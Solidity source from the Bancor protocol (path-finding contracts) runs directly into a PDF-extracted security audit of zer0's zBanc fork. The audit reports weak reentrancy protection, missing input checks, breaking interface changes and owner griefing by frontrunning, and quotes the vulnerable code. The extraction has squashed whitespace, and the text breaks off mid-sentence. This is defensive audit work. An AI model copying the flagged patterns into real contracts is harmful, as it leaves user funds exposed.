payable _beneficiary) public payable returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function convertFor2( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public payable greaterThanZero(_minReturn) returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvert(address[] memory _path, uint256 _amount, uint256 _minReturn) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvert2( address[] memory _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, address(0), _affiliateAccount, _affiliateFee); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor(address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, address(0), 0); } /** * @dev deprecated, backward compatibility */ function claimAndConvertFor2( address[] memory _path, uint256 _amount, uint256 _minReturn, address payable _beneficiary, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256) { return convertByPath(_path, _amount, _minReturn, _beneficiary, _affiliateAccount, _affiliateFee); } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./IConversionPathFinder.sol"; import "./utility/ContractRegistryClient.sol"; import "./converter/interfaces/IConverter.sol"; import "./converter/interfaces/IConverterAnchor.sol"; import "./converter/interfaces/IConverterRegistry.sol"; /** * @dev The ConversionPathFinder contract allows generating a conversion path between any token pair in the Bancor Network. * The path can then be used in various functions in the BancorNetwork contract. * * See the BancorNetwork contract for conversion path format. */ contract ConversionPathFinder is IConversionPathFinder, ContractRegistryClient { IERC20Token public anchorToken; /** * @dev initializes a new ConversionPathFinder instance * * @param _registry address of a contract registry contract */ constructor(IContractRegistry _registry) ContractRegistryClient(_registry) public { } /** * @dev updates the anchor token * * @param _anchorToken address of the anchor token */ function setAnchorToken(IERC20Token _anchorToken) public ownerOnly { anchorToken = _anchorToken; } /** * @dev generates a conversion path between a given pair of tokens in the Bancor Network * * @param _sourceToken address of the source token * @param _targetToken address of the target token * * @return a path from the source token to the target token */ function findPath(IERC20Token _sourceToken, IERC20Token _targetToken) external view override returns (address[] memory) { IConverterRegistry converterRegistry = IConverterRegistry(addressOf(CONVERTER_REGISTRY)); address[] memory sourcePath = getPath(_sourceToken, converterRegistry); address[] memory targetPath = getPath(_targetToken, converterRegistry); return getShortestPath(sourcePath, targetPath); } /** * @dev generates a conversion path between a given token and the anchor token * * @param _token address of the token * @param _converterRegistry address of the converter registry * * @return a path from the input token to the anchor token */ function getPath(IERC20Token _token, IConverterRegistry _converterRegistry) private view returns (address[] memory) { if (_token == anchorToken) return getInitialArray(address(_token)); address[] memory anchors; if (_converterRegistry.isAnchor(address(_token))) anchors = getInitialArray(address(_token)); else anchors = _converterRegistry.getConvertibleTokenAnchors(_token); for (uint256 n = 0; n < anchors.length; n++) { IConverter converter = IConverter(payable(IConverterAnchor(anchors[n]).owner())); uint256 connectorTokenCount = converter.connectorTokenCount(); for (uint256 i = 0; i < connectorTokenCount; i++) { IERC20Token connectorToken = converter.connectorTokens(i); if (connectorToken != _token) { address[] memory path = getPath(connectorToken, _converterRegistry); if (path.length > 0) return getExtendedArray(address(_token), anchors[n], path); } } } return new address[](0); } /** * @dev merges two paths with a common suffix into one * * @param _sourcePath address of the source path * @param _targetPath address of the target path * * @return merged path */ function getShortestPath(address[] memory _sourcePath, address[] memory _targetPath) private pure returns (address[] memory) { if (_sourcePath.length > 0 && _targetPath.length > 0) { uint256 i = _sourcePath.length; uint256 j = _targetPath.length; while (i > 0 && j > 0 && _sourcePath[i - 1] == _targetPath[j - 1]) { i--; j--; } address[] memory path = new address[](i + j + 1); for (uint256 m = 0; m <= i; m++) path[m] = _sourcePath[m]; for (uint256 n = j; n > 0; n--) path[path.length - n] = _targetPath[n - 1]; uint256 length = 0; for (uint256 p = 0; p < path.length; p += 1) { for (uint256 q = p + 2; q < path.length - p % 2; q += 2) { if (path[p] == path[q]) p = q; } path[length++] = path[p]; } return getPartialArray(path, length); } return new address[](0); } /** * @dev creates a new array containing a single item * * @param _item item * * @return initial array */ function getInitialArray(address _item) private pure returns (address[] memory) { address[] memory array = new address[](1); array[0] = _item; return array; } /** * @dev prepends two items to the beginning of an array * * @param _item0 first item * @param _item1 second item * @param _array initial array * * @return extended array */ function getExtendedArray(address _item0, address _item1, address[] memory _array) private pure returns (address[] memory) { address[] memory array = new address[](2 + _array.length); array[0] = _item0; array[1] = _item1; for (uint256 i = 0; i < _array.length; i++) array[2 + i] = _array[i]; return array; } /** * @dev extracts the prefix of a given array * * @param _array given array * @param _length prefix length * * @return partial array */ function getPartialArray(address[] memory _array, uint256 _length) private pure returns (address[] memory) { address[] memory array = new address[](_length); for (uint256 i = 0; i < _length; i++) array[i] = _array[i]; return array; } } // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./token/interfaces/IERC20Token.sol"; /* Conversion Path Finder interface */ interface IConversionPathFinder { function findPath(IERC20Token _sourceToken, IERC20Token _targetToken) external view returns (address[] memory); }
Zer0 - zBancDateMay 2021Lead AuditorDavid Oz KashiCo-auditorsMartin Ortner1 Executive SummaryThis report is part of a series of reports presenting the results of our engagement with zer0 to review zNS, zAuction, and zBanc,zDAO Token.The review was conducted over four weeks, from 19 April 2021 to 21 May 2021. A total of 2x4 person-weeks were spent.1.1 LayoutIt was requested to present the results for the four code-bases under review in individual reports. Links to the individual reportscan be found below.The Executive Summary and Scope sections are shared amongst the individual reports. They provide a general overview of theengagement and summarize scope changes and insights into how time was spent during the audit. The section Recommendationsand Findings list the respective findings for the component under review.The following reports were delivered:!"zNS!"zAuction!"zBanc!"zDAO-Token1.2 Assessment LogIn the first week, the assessment team focussed its work on the zNS and zAuction systems. Details on the scope for thecomponents was set by the client and can be found in the next section. A walkthrough session for the systems in scope wasrequested, to understand the fundamental design decisions of the system as some details were not found in thespecification/documentation. Initial security findings were also shared with the client during this session. It was agreed to deliver apreliminary report sharing details of the findings during the end-of-week sync-up. This sync-up is also used to set the focus/scopefor the next week.In the second week, the assessment team focussed its work on zBanc a modification of the bancor protocol solidity contracts. Theinitial code revision under audit (zBanc48da0ac1eebbe31a74742f1ae4281b156f03a4bc) was updated half-way into the week on Wednesday tozBanc (3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4). Preliminary findings were shared during a sync-up discussing the changing codebaseunder review. Thursday morning the client reported that work on the zDAO Token finished and it was requested to put it in scope forthis week as the token is meant to be used soon. The assessment team agreed to have a brief look at the codebase, reporting anyobvious security issues at best effort until the end-of-week sync-up meeting (1day). Due to the very limited left until the weeklysync-up meeting, it was recommended to extend the review into next week as. Finally it was agreed to update and deliver thepreliminary report sharing details of the findings during the end-of-week sync-up. This sync-up is also used to set the focus/scopefor the next week.In the third week, the assessment team continued working on zDAO Token on Monday. We provided a heads-up that the snapshotAUDITSFUZZINGSCRIBBLEABOUTZer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第1页共17页2022/7/24, 11:03 上午functionality of zDAO Token was not working the same day. On Tuesday focus shifted towards reviewing changes to zAuction (135b2aaddcfc70775fd1916518c2cc05106621ec, remarks). On the same day the client provided an updated review commit for zDAO Token (81946d451e8a9962b0c0d6fc8222313ec115cd53) addressing the issue we reported on Monday. The client provided an updated review commitfor zNS (ab7d62a7b8d51b04abea895e241245674a640fc1) on Wednesday and zNS (bc5fea725f84ae4025f5fb1a9f03fb7e9926859a) on Thursday.As can be inferred from this timeline various parts of the codebases were undergoing changes while the review was performedwhich introduces inefficiencies and may have an impact on the review quality (reviewing frozen codebase vs. moving target). Asdiscussed with the client we highly recommend to plan ahead for security activities, create a dedicated role that coordinatessecurity on the team, and optimize the software development lifecycle to explicitly include security activities and key milestones,ensuring that code is frozen, quality tested, and security review readiness is established ahead of any security activities. It shouldalso be noted that code-style and quality varies a lot for the different repositories under review which might suggest that there is aneed to better anchor secure development practices in the development lifecycle.After a one-week hiatus the assessment team continued reviewing the changes for zAuction and zBanc. The findings were initiallyprovided with one combined report and per client request split into four individual reports.2 ScopeOur review focused on the following components and code revisions:2.1 ObjectivesTogether with the zer0 team, we identified the following priorities for our review:1. Ensure that the system is implemented consistently with the intended functionality, and without unintended edge cases.2. Identify known vulnerabilities particular to smart contract systems, as outlined in our Smart Contract Best Practices, and theSmart Contract Weakness Classification Registry.2.2 Week - 1!"zNS (b05e503ea1ee87dbe62b1d58426aaa518068e395) (scope doc) (1, 2)!"zAuction (50d3b6ce6d7ee00e7181d5b2a9a2eedcdd3fdb72) (scope doc) (1, 2)Original Scope overview document2.3 Week - 2!"zBanc (48da0ac1eebbe31a74742f1ae4281b156f03a4bc) initial commit under review!"zBanc (3d6943e82c167c1ae90fb437f9e3ed1a7a7a94c4) updated commit under review (mid of week) (scope doc) (1)#"Files in Scope:$"contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverter$"contracts/converter/types/dynamic-liquid-token/DynamicLiquidTokenConverterFactory$"contracts/converter/ConverterUpgrader.sol (added handling new converterType 3)!"zDAO token provided on thursday (scope doc) (1)#"Files in Scope:$"ZeroDAOToken.sol$"MerkleTokenAirdrop.sol$"MerkleTokenVesting.sol$"MerkleDistributor.sol$"TokenVesting.sol$"And any relevant Interfaces / base contractsThe zDAO review in week two was performed best effort from Thursday to Friday attempting to surface any obvious issues until theend-of-week sync-up meeting.2.4 Week - 3!"Continuing on zDAO token (1b678cb3fc4a8d2ff3ef2d9c5625dff91f6054f6)Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第2页共17页2022/7/24, 11:03 上午!"Updated review commit for zAuction (135b2aaddcfc70775fd1916518c2cc05106621ec, 1) on Monday!"Updated review commit for zDAO Token (81946d451e8a9962b0c0d6fc8222313ec115cd53) on Tuesday!"Updated review commit for zNS (ab7d62a7b8d51b04abea895e241245674a640fc1) on Wednesday!"Updated review commit for zNS (bc5fea725f84ae4025f5fb1a9f03fb7e9926859a) on Thursday2.5 Hiatus - 1 WeekThe assessment continues for a final week after a one-week long hiatus.2.6 Week - 4!"Updated review commit for zAuction (2f92aa1c9cd0c53ec046340d35152460a5fe7dd0, 1)!"Updated review commit for zAuction addressing our remarks!"Updated review commit for zBanc (ff3d91390099a4f729fe50c846485589de4f8173, 1)3 System OverviewThis section describes the top-level/deployable contracts, their inheritance structure and interfaces, actors, permissions andimportant contract interactions of the initial system under review. This section does not take any fundamental changes intoaccount that were introduced during or after the review was conducted.Contracts are depicted as boxes. Public reachable interface methods are outlined as rows in the box. The 🔍 icon indicates that amethod is declared as non-state-changing (view/pure) while other methods may change state. A yellow dashed row at the top ofthe contract shows inherited contracts. A green dashed row at the top of the contract indicates that that contract is used in ausingFor declaration. Modifiers used as ACL are connected as yellow bubbles in front of methods.Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第3页共17页2022/7/24, 11:03 上午DynamicLiquidTokenConverterLiquidTokenConverter__constr__ 🔍 converterType 🔍 isActivesetMarketCapThresholdsetMinimumWeightsetStepWeightsetLastWeightAdjustmentMarketCapreduceWeight 🔍 getMarketCapLiquidTokenConverterownerOnlyinactiveownerOnlyinactiveownerOnlyinactiveownerOnlyinactivevalidReserveownerOnlyprotectedLiquidTokenConverterConverterBase__constr__ 🔍 converterTypeacceptAnchorOwnershipaddReserve 🔍 targetAmountAndFeeConverterBaseownerOnlyownerOnlyConverterBaseIConverterTokenHandlerTokenHolderContractRegistryClientReentrancyGuardSafeMath 🔍 converterType 🔍 targetAmountAndFee 💰 __constr__withdrawETH 🔍 isV28OrHighersetConversionWhitelist 🔍 isActivetransferAnchorOwnershipacceptAnchorOwnershipsetConversionFeewithdrawTokensupgrade 🔍 reserveTokenCountaddReserve 🔍 reserveWeight 🔍 reserveBalance 🔍 hasETHReserve 💰 convert 🔍 tokentransferTokenOwnershipacceptTokenOwnership 🔍 connectors 🔍 connectorTokens 🔍 connectorTokenCount 🔍 getConnectorBalance 🔍 getReturnprotectedownerOnlyvalidReserveownerOnlynotThisownerOnlyonlyownerOnlyownerOnlyprotectedownerOnlyownerOnlyownerOnlyinactivevalidAddressnotThisvalidReserveWeightvalidReservevalidReserveprotectedonlyownerOnlyownerOnly TokenHolderITokenHolderTokenHandlerOwnedUtilswithdrawTokensownerOnlyvalidAddressnotThisOwnedIOwned__constr__transferOwnershipacceptOwnershipownerOnlyContractRegistryClientOwnedUtilsupdateRegistryrestoreRegistryrestrictRegistryUpdateownerOnlyownerOnlyDynamicLiquidTokenConverterFactoryITypedConverterFactory 🔍 converterTypecreateConverter DynamicConverterUpgraderIConverterUpgraderContractRegistryClient__constr__upgradeupgradeupgradeOldContractRegistryClientContractRegistryClientOwnedUtilsupdateRegistryrestoreRegistryrestrictRegistryUpdateownerOnlyownerOnlyfallbackDynamicContractRegistryIContractRegistryOwnedUtils 🔍 itemCount 🔍 dcrItemCount 🔍 addressOfregisterAddresssetContractRegistryunregisterAddressownerOnlyvalidAddressownerOnlyownerOnlyContractRegistryIContractRegistryOwnedUtils 🔍 itemCount 🔍 addressOfregisterAddressunregisterAddress 🔍 getAddressownerOnlyvalidAddressownerOnly zBanczBanc is a fork from the bancor-protocol adding a new type of liquid token that allows an owner to change the reserve weights atspecific milestones to pay out an amount of the tokens while the contract is active. Note that withdrawETH can only be called by theowner if the contract is inactive or upgrading. The same is true for withdrawTokens for reserve tokens. For this, a new converter type3 - DynamicLiquidTokenConverter was created, extending the existing LiquidTokenConverter. The new converter requires a custommigration path for upgrades which is implemented in DynamicConverterUpgrader and registered in a shadow-registryDynamicContractRegistry that allows to override any Bancor registry settings and falls back to retrieving the data from the linkedregistry otherwise. This gives significant control to whoever is managing the registry.4 Recommendations4.1 zBanc - Potential gas optimizationsDescriptionDynamicLiquidTokenConverter.reduceWeight1. Calling reserveBalance to fetch the reserve balance for a given reserveToken might be redundant, as the value has already beenfetched, and resides in the reserve local variable.2. Function visibility can be changed to external instead of public.zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L130-L150Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第4页共17页2022/7/24, 11:03 上午functionreduceWeight(IERC20Token_reserveToken)publicvalidReserve(_reserveToken)ownerOnly{_protected();uint256currentMarketCap=getMarketCap(_reserveToken);require(currentMarketCap>(lastWeightAdjustmentMarketCap.add(marketCapThreshold)),"ERR_MARKET_CAP_BELOW_THRESHOLD");Reservestoragereserve=reserves[_reserveToken];uint256newWeight=uint256(reserve.weight).sub(stepWeight);uint32oldWeight=reserve.weight;require(newWeight>=minimumWeight,"ERR_INVALID_RESERVE_WEIGHT");uint256percentage=uint256(PPM_RESOLUTION).sub(newWeight.mul(PPM_RESOLUTION).div(reserve.weight));uint32weight=uint32(newWeight);reserve.weight=weight;reserveRatio=weight;uint256balance=reserveBalance(_reserveToken).mul(percentage).div(PPM_RESOLUTION);!"ConverterUpgrader.upgradeOld - Redundant casting of _converter.zBanc/solidity/contracts/converter/ConverterUpgrader.sol:L96-L99functionupgradeOld(DynamicLiquidTokenConverter_converter,bytes32_version)public{_version;DynamicLiquidTokenConverterconverter=DynamicLiquidTokenConverter(_converter);addressprevOwner=converter.owner();4.2 Where possible, a specific contract type should be used rather than address AcknowledgedDescriptionConsider using the best type available in the function arguments and declarations instead of accepting address and later casting itto the correct type.ExamplesThis is only one of many examples.zAuction/contracts/zAuction.sol:L22-L26functioninit(addressaccountantaddress)external{require(!initialized);initialized=true;accountant=zAuctionAccountant(accountantaddress);}zAuction/contracts/zAuction.sol:L52-L54IERC721nftcontract=IERC721(nftaddress);weth.transferFrom(bidder,msg.sender,bid);nftcontract.transferFrom(msg.sender,bidder,tokenid);zAuction/contracts/zAuction.sol:L40-L42IERC721nftcontract=IERC721(nftaddress);accountant.Exchange(bidder,msg.sender,bid);nftcontract.transferFrom(msg.sender,bidder,tokenid);zAuction/contracts/zAuctionAccountant.sol:L60-L63Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第5页共17页2022/7/24, 11:03 上午functionSetZauction(addresszauctionaddress)externalonlyAdmin{zauction=zauctionaddress;emitZauctionSet(zauctionaddress);}5 FindingsEach issue has an assigned severity:!"Minor issues are subjective in nature. They are typically suggestions around best practices or readability. Code maintainersshould use their own judgment as to whether to address such issues.!"Medium issues are objective in nature but are not security vulnerabilities. These should be addressed unless there is a clearreason not to.!"Major issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to beexploited. All major issues should be addressed.!"Critical issues are directly exploitable security vulnerabilities that need to be fixed.5.1 zBanc - DynamicLiquidTokenConverter ineffective reentrancy protection Major✓ FixedResolutionFixed with zer0-os/zBanc@ff3d913 by following the recommendation.DescriptionreduceWeight calls _protected() in an attempt to protect from reentrant calls but this check is insufficient as it will only check for thelocked statevar but never set it. A potential for direct reentrancy might be present when an erc-777 token is used as reserve.It is assumed that the developer actually wanted to use the protected modifier that sets the lock before continuing with themethod.ExampleszBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L123-L128functionreduceWeight(IERC20Token_reserveToken)publicvalidReserve(_reserveToken)ownerOnly{_protected();Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第6页共17页2022/7/24, 11:03 上午contractReentrancyGuard{// true while protected code is being executed, false otherwiseboolprivatelocked=false;/** * @dev ensures instantiation only by sub-contracts */constructor()internal{}// protects a function against reentrancy attacksmodifierprotected(){_protected();locked=true;_;locked=false;}// error message binary size optimizationfunction_protected()internalview{require(!locked,"ERR_REENTRANCY");}}RecommendationTo mitigate potential attack vectors from reentrant calls remove the call to _protected() and decorate the function with protectedinstead. This will properly set the lock before executing the function body rejecting reentrant calls.5.2 zBanc - DynamicLiquidTokenConverter input validation Medium✓ FixedResolutionfixed with zer0-os/zBanc@ff3d913 by checking that the provided values are at least 0% < p <= 100%.DescriptionCheck that the value in PPM is within expected bounds before updating system settings that may lead to functionality not workingcorrectly. For example, setting out-of-bounds values for stepWeight or setMinimumWeight may make calls to reduceWeight fail. Thesevalues are usually set in the beginning of the lifecycle of the contract and misconfiguration may stay unnoticed until trying toreduce the weights. The settings can be fixed, however, by setting the contract inactive and updating it with valid settings. Settingthe contract to inactive may temporarily interrupt the normal operation of the contract which may be unfavorable.ExamplesBoth functions allow the full uint32 range to be used, which, interpreted as PPM would range from 0% to 4.294,967295%zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L75-L84functionsetMinimumWeight(uint32_minimumWeight)publicownerOnlyinactive{//require(_minimumWeight > 0, "Min weight 0");//_validReserveWeight(_minimumWeight);minimumWeight=_minimumWeight;emitMinimumWeightUpdated(_minimumWeight);}zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L92-L101Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第7页共17页2022/7/24, 11:03 上午functionsetStepWeight(uint32_stepWeight)publicownerOnlyinactive{//require(_stepWeight > 0, "Step weight 0");//_validReserveWeight(_stepWeight);stepWeight=_stepWeight;emitStepWeightUpdated(_stepWeight);}RecommendationReintroduce the checks for _validReserveWeight to check that a percent value denoted in PPM is within valid bounds_weight > 0 && _weight <= PPM_RESOLUTION. There is no need to separately check for the value to be >0 as this is already ensured by_validReserveWeight.Note that there is still room for misconfiguration (step size too high, min-step too high), however, this would at least allow to catchobviously wrong and often erroneously passed parameters early.5.3 zBanc - DynamicLiquidTokenConverter introduces breaking changes to the underlyingbancorprotocol base Medium✓ FixedResolutionAddressed with zer0-os/zBanc@ff3d913 by removing the modifications in favor of surgical and more simple changes, keepingthe factory and upgrade components as close as possible to the forked bancor contracts.Additionally, the client provided the following statement:5.14 Removed excess functionality from factory and restored the bancor factory pattern.DescriptionIntroducing major changes to the complex underlying smart contract system that zBanc was forked from(bancorprotocol) mayresult in unnecessary complexity to be added. Complexity usually increases the attack surface and potentially introduces softwaremisbehavior. Therefore, it is recommended to focus on reducing the changes to the base system as much as possible and complywith the interfaces and processes of the system instead of introducing diverging behavior.For example, DynamicLiquidTokenConverterFactory does not implement the ITypedConverterFactory while other converters do. Furthermore,this interface and the behavior may be expected to only perform certain tasks e.g. when called during an upgrade process. Notadhering to the base systems expectations may result in parts of the system failing to function for the new convertertype. Changesintroduced to accommodate the custom behavior/interfaces may result in parts of the system failing to operate with existingconverters. This risk is best to be avoided.In the case of DynamicLiquidTokenConverterFactory the interface is imported but not implemented at all (unused import). The reason forthis is likely because the function createConverter in DynamicLiquidTokenConverterFactory does not adhere to the bancor-providedinterface anymore as it is doing way more than “just” creating and returning a new converter. This can create problems whentrying to upgrade the converter as the upgraded expected the shared interface to be exposed unless the update mechanisms aremodified as well.In general, the factories createConverter method appears to perform more tasks than comparable type factories. It is questionable ifthis is needed but may be required by the design of the system. We would, however, highly recommend to not diverge from howother converters are instantiated unless it is required to provide additional security guarantees (i.e. the token was instantiated bythe factory and is therefore trusted).The ConverterUpgrader changed in a way that it now can only work with the DynamicLiquidTokenconverter instead of the more generalizedIConverter interface. This probably breaks the update for all other converter types in the system.Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第8页共17页2022/7/24, 11:03 上午The severity is estimated to be medium based on the fact that the development team seems to be aware of the breaking changesbut the direction of the design of the system was not yet decided.Examples!"unused importzBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L6-L6import"../../interfaces/ITypedConverterFactory.sol";!"converterType should be external as it is not called from within the same or inherited contractszBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L144-L146functionconverterType()publicpurereturns(uint16){return3;}!"createToken can be external and is actually creating a token and converter that is using that token (the converter is notreturned)(consider renaming to createTokenAndConverter)zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverterFactory.sol:L54-L74{DSTokentoken=newDSToken(_name,_symbol,_decimals);token.issue(msg.sender,_initialSupply);emitNewToken(token);createConverter(token,_reserveToken,_reserveWeight,_reserveBalance,_registry,_maxConversionFee,_minimumWeight,_stepWeight,_marketCapThreshold);returntoken;}!"the upgrade interface changed and now requires the converter to be a DynamicLiquidTokenConverter. Other converters maypotentially fail to upgrade unless they implement the called interfaces.zBanc/solidity/contracts/converter/ConverterUpgrader.sol:L96-L122Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第9页共17页2022/7/24, 11:03 上午functionupgradeOld(DynamicLiquidTokenConverter_converter,bytes32_version)public{_version;DynamicLiquidTokenConverterconverter=DynamicLiquidTokenConverter(_converter);addressprevOwner=converter.owner();acceptConverterOwnership(converter);DynamicLiquidTokenConverternewConverter=createConverter(converter); copyReserves(converter,newConverter);copyConversionFee(converter,newConverter);transferReserveBalances(converter,newConverter);IConverterAnchoranchor=converter.token(); // get the activation status before it's being invalidatedboolactivate=isV28OrHigherConverter(converter)&&converter.isActive(); if(anchor.owner()==address(converter)){converter.transferTokenOwnership(address(newConverter));newConverter.acceptAnchorOwnership();}handleTypeSpecificData(converter,newConverter,activate);converter.transferOwnership(prevOwner); newConverter.transferOwnership(prevOwner); emitConverterUpgrade(address(converter),address(newConverter));}solidity/contracts/converter/ConverterUpgrader.sol:L95-L101functionupgradeOld(IConverter_converter,bytes32/* _version */)public{// the upgrader doesn't require the version for older convertersupgrade(_converter,0);}RecommendationIt is a fundamental design decision to either follow the bancorsystems converter API or diverge into a more customized systemwith a different design, functionality, or even security assumptions. From the current documentation, it is unclear which way thedevelopment team wants to go.However, we highly recommend re-evaluating whether the newly introduced type and components should comply with the bancorAPI (recommended; avoid unnecessary changes to the underlying system,) instead of changing the API for the new components.Decide if the new factory should adhere to the usually commonly shared ITypedConverterFactory (recommended) and if not, removethe import and provide a new custom shared interface. It is highly recommended to comply and use the bancor systemsextensibility mechanisms as intended, keeping the previously audited bancor code in-tact and voiding unnecessary re-assessments of the security impact of changes.5.4 zBanc - DynamicLiquidTokenConverter isActive should only be returned if converter is fullyconfigured and converter parameters should only be updateable while converter is inactive Medium ✓ FixedResolutionAddressed with zer0-os/zBanc@ff3d913 by removing the custom ACL modifier falling back to checking whether the contract isconfigured (isActive, inactive modifiers). When a new contract is deployed it will be inactive until the main vars are set by theowner (upgrade contract). The upgrade path is now aligned with how the LiquidityPoolV2Converter performs upgrades.Additionally, the client provided the following statement:Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第10页共17页2022/7/24, 11:03 上午5.13 - upgrade path resolved - inactive modifier back on the setters, and upgrade path now mirrors lpv2 path. Animportant note here is that lastWeightAdjustmentMarketCap setting isn’t included in the inActive() override, since ithas a valid state of 0. So it must be set before the others settings, or it will revert as inactiveDescriptionBy default, a converter is active once the anchor ownership was transferred. This is true for converters that do not require to beproperly set up with additional parameters before they can be used.zBanc/solidity/contracts/converter/ConverterBase.sol:L272-L279/** * @dev returns true if the converter is active, false otherwise * * @return true if the converter is active, false otherwise*/functionisActive()publicviewvirtualoverridereturns(bool){returnanchor.owner()==address(this);}For a simple converter, this might be sufficient. If a converter requires additional setup steps (e.g. setting certain internal variables,an oracle, limits, etc.) it should return inactive until the setup completes. This is to avoid that users are interacting with (or evenpot. frontrunning) a partially configured converter as this may have unexpected outcomes.For example, the LiquidityPoolV2Converter overrides the isActive method to require additional variables be set (oracle) to actually bein active state.zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L79-L85*@devreturnstrueiftheconverterisactive,falseotherwise**@returntrueiftheconverterisactive,falseotherwise*/functionisActive()publicviewoverridereturns(bool){returnsuper.isActive()&&address(priceOracle)!=address(0);}Additionally, settings can only be updated while the contract is inactive which will be the case during an upgrade. This ensuresthat the owner cannot adjust settings at will for an active contract.zBanc/solidity/contracts/converter/types/liquidity-pool-v2/LiquidityPoolV2Converter.sol:L97-L109functionactivate(IERC20Token_primaryReserveToken,IChainlinkPriceOracle_primaryReserveOracle,IChainlinkPriceOracle_secondaryReserveOracle)publicinactiveownerOnlyvalidReserve(_primaryReserveToken)notThis(address(_primaryReserveOracle))notThis(address(_secondaryReserveOracle))validAddress(address(_primaryReserveOracle))validAddress(address(_secondaryReserveOracle)){The DynamicLiquidTokenConverter is following a different approach. It inherits the default isActive which sets the contract active rightafter anchor ownership is transferred. This kind of breaks the upgrade process for DynamicLiquidTokenConverter as settings cannot beupdated while the contract is active (as anchor ownership might be transferred before updating values). To unbreak this behavior anew authentication modifier was added, that allows updates for the upgrade contradict while the contract is active. Now this is abehavior that should be avoided as settings should be predictable while a contract is active. Instead it would make more senseZer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第11页 共17页2022/7/24, 11:03 上午initially set all the custom settings of the converter to zero (uninitialized) and require them to be set and only the return thecontract as active. The behavior basically mirrors the upgrade process of LiquidityPoolV2Converter.zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L44-L50modifierifActiveOnlyUpgrader(){if(isActive()){require(owner==addressOf(CONVERTER_UPGRADER),"ERR_ACTIVE_NOTUPGRADER");}_;}Pre initialized variables should be avoided. The marketcap threshold can only be set by the calling entity as it may be very differentdepending on the type of reserve (eth, token).zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L17-L20uint32publicminimumWeight=30000;uint32publicstepWeight=10000;uint256publicmarketCapThreshold=10000ether;uint256publiclastWeightAdjustmentMarketCap=0;Here’s one of the setter functions that can be called while the contract is active (only by the upgrader contract but changing theACL commonly followed with other converters).zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L67-L74functionsetMarketCapThreshold(uint256_marketCapThreshold)publicownerOnlyifActiveOnlyUpgrader{marketCapThreshold=_marketCapThreshold;emitMarketCapThresholdUpdated(_marketCapThreshold);}RecommendationAlign the upgrade process as much as possible to how LiquidityPoolV2Converter performs it. Comply with the bancor API.!"override isActive and require the contracts main variables to be set.!"do not pre initialize the contracts settings to “some” values. Require them to be set by the caller (and perform input validation)!"mirror the upgrade process of LiquidityPoolV2Converter and instead of activate call the setter functions that set the variables.After setting the last var and anchor ownership been transferred, the contract should return active.5.5 zBanc - DynamicLiquidTokenConverter frontrunner can grief owner when calling reduceWeightMedium AcknowledgedResolutionThe client acknowledged this issue by providing the following statement:5.12 - admin by a DAO will mitigate the owner risks hereDescriptionThe owner of the converter is allowed to reduce the converters weights once the marketcap surpasses a configured threshhold.Zer0 - zBanc | ConsenSys Diligencehttps://consensys.net/diligence/audits/2021/05/zer0-zbanc/ 第12页共17页2022/7/24, 11:03 上午The thresshold is configured on first deployment. The marketcap at the beginning of the call is calculated asreserveBalance / reserve.weight and stored as lastWeightAdjustmentMarketCap after reducing the weight.zBanc/solidity/contracts/converter/types/liquid-token/DynamicLiquidTokenConverter.sol:L130-L138functionreduceWeight(IERC20Token_reserveToken)publicvalidReserve(_reserveToken)ownerOnly{_protected();uint256currentMarketCap=getMarketCap(_reserveToken);require(currentMarketCap>(lastWeightAdjustmentMarketCap.add(marketCapThreshold)),"ERR_MARKET_CAP_BELOW_THRESHOLD");The reserveBalance can be manipulated by buying (adding reserve 